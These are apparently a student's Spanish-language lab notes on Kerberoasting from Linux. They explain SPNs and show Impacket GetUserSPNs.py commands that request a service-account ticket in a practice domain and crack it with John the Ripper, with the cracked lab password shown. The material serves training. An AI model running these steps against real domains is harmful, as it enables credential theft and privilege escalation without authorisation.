Kerberoasting desde Linux
Escenario
Hasta este punto, hemos enumerado cuentas de usuario y detectado aquellas configuradas con Service Principal Names (SPNs). Los SPNs nos permiten realizar ataques de movimiento lateral y escalada de privilegios en un dominio.
1️⃣ Kerberoasting Overview 🔑
Tip: Kerberoasting se basa en obtener tickets Kerberos (TGS) de cuentas de servicios. Estos tickets están cifrados con el hash NTLM de la cuenta de servicio y pueden ser crackeados offline para revelar la contraseña.
¿Qué es un SPN? 🔍
-
SPN (Service Principal Name) es un identificador único que Kerberos usa para asociar un servicio con la cuenta de usuario o de servicio que lo ejecuta.
-
Permite que Kerberos sepa “quién es el dueño del servicio” y entregue tickets de acceso correctamente.
Analogía:
Imagina un cine VIP:
Cine = servidor/dominio
Sala = servicio (SQL, Exchange, etc.)
Pase VIP = ticket Kerberos (TGS)
Dueño del pase = cuenta de servicio asociada al SPN
- Ejemplo de SPN:
MSSQLSvc/SQL-SERVER01.miempresa.local:1433
-
Cualquier usuario de dominio puede solicitar un ticket Kerberos para cualquier cuenta de servicio con SPN.
-
Las cuentas de servicio suelen tener privilegios elevados o incluso ser miembros de Domain Admins.
Info: Recuperar un ticket no da acceso directo; necesitas crackearlo offline (p. ej., con Hashcat).
Tip: Las contraseñas de cuentas de servicio suelen ser débiles o reutilizadas, lo que facilita el ataque.
Con un ticket TGS crackeado, es posible:
-
Obtener privilegios de administrador local en múltiples servidores.
-
Acceder a servicios como SQL Server y ejecutar código si se habilita xp_cmdshell.
-
Moverse lateralmente dentro del dominio.
2️⃣ Posiciones desde las que se puede lanzar el ataque 🚀
-
Host Linux no unido al dominio usando credenciales de usuario válidas.
-
Host Linux unido al dominio con root y keytab del usuario.
-
Host Windows unido al dominio autenticado como usuario de dominio.
-
Host Windows con shell de usuario de dominio o SYSTEM.
-
Host Windows no unido al dominio usando runas /netonly.
3️⃣ Herramientas más comunes 🛠️
| Plataforma | Herramienta / Método |
|---|---|
| Linux | Impacket GetUserSPNs.py |
| Windows | setspn.exe, PowerShell, Mimikatz |
| Windows | PowerView, Rubeus, scripts PowerShell |
Tip: Obtener un ticket TGS no garantiza acceso; el ticket debe ser crackeado offline con Hashcat o John the Ripper.
4️⃣ Kerberoasting desde Linux con GetUserSPNs.py 🐧
Requisitos:
-
Credenciales de usuario de dominio (cleartext o NTLM hash).
-
Shell en contexto de usuario de dominio o SYSTEM.
-
Conocer el IP del Domain Controller (DC).
Instalación Impacket
sudo python3 -m pip install .
Tip: Esto instalará todas las herramientas Impacket y las agregará al PATH, permitiendo ejecutarlas desde cualquier directorio.
Ayuda de GetUserSPNs.py
GetUserSPNs.py -h
Info: Muestra todas las opciones disponibles para listar SPNs, solicitar tickets y guardarlos.
Listar cuentas con SPN
GetUserSPNs.py -dc-ip <IP_DEL_DC> DOMINIO/usuario
-
Esto genera un listado de todas las cuentas de servicio con SPN en el dominio.
-
Observa la columna MemberOf para identificar cuentas con privilegios elevados.
Tip: Si alguna cuenta es miembro de Domain Admins, un ticket crackeado puede darte acceso total al dominio.
Ejemplo
/usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev -request
Cogemos el de SAPService
/usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev -request-user SAPService -outputfile Sap
Crackeamos
john --format=krb5tgs Sap --wordlist=/usr/share/wordlists/rockyou.txt
john --show Sap
En este caso es !SapperFi2

Para ver em que grupo está
/usr/local/bin/GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sapservice

Esta en Account Operators